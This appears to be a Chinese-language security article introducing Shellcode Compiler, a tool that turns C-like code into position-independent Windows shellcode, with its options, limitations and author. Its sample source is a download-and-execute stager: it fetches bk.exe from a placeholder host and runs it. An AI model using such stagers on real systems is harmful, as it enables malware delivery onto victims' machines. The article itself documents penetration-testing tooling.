项目地址:https://github.com/NytroRST/ShellcodeCompiler
Shellcode Compiler 是一款能将 C/C++ 代码编译成体积小,位置无关和无 NULL 字节的 Windows shellcode 的工具。它能以用户友好的方式调用任何 Windows API 函数。
Shellcode Compiler 将输入的源文件用自己的编译器来解释代码,并生成一个由 NASM(http://www.nasm.us/)汇编生成的汇编文件。
Shellcode Compiler 与 2016 年 11 月在罗马尼亚的 DefCamp 安全会议上发布。
命令行选项
-h (--help) : Show this help message
-v (--verbose) : Print detailed output
-t (--test) : Test (execute) generated shellcode
-r (--read) : Read source code file
-o (--output) : Output file of the generated binary shellcode
-a (--assembbly) : Output file of the generated assembly code
源码示例
function URLDownloadToFileA("urlmon.dll");
function WinExec("kernel32.dll");
function ExitProcess("kernel32.dll");
URLDownloadToFileA(0,"https://site.com/bk.exe","bk.exe",0,0);
WinExec("bk.exe",0);
ExitProcess(0);
调用示例
ShellcodeCompiler.exe -r Source.txt -o Shellcode.bin -a Assembly.asm
一些限制
- 不能使用调用 API 的返回值
- 不能使用指针或缓冲区
- 不能声明变量
而所有这些限制将尽快修复,然而还会存在一些限制。这是一个 Alpha 版本。欢迎提交 bug 和建议。
作者
Ionut Popescu (@NytroRST) 是 SecureWorks (www.secureworks.com) 的高级渗透测试工程师。
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/134/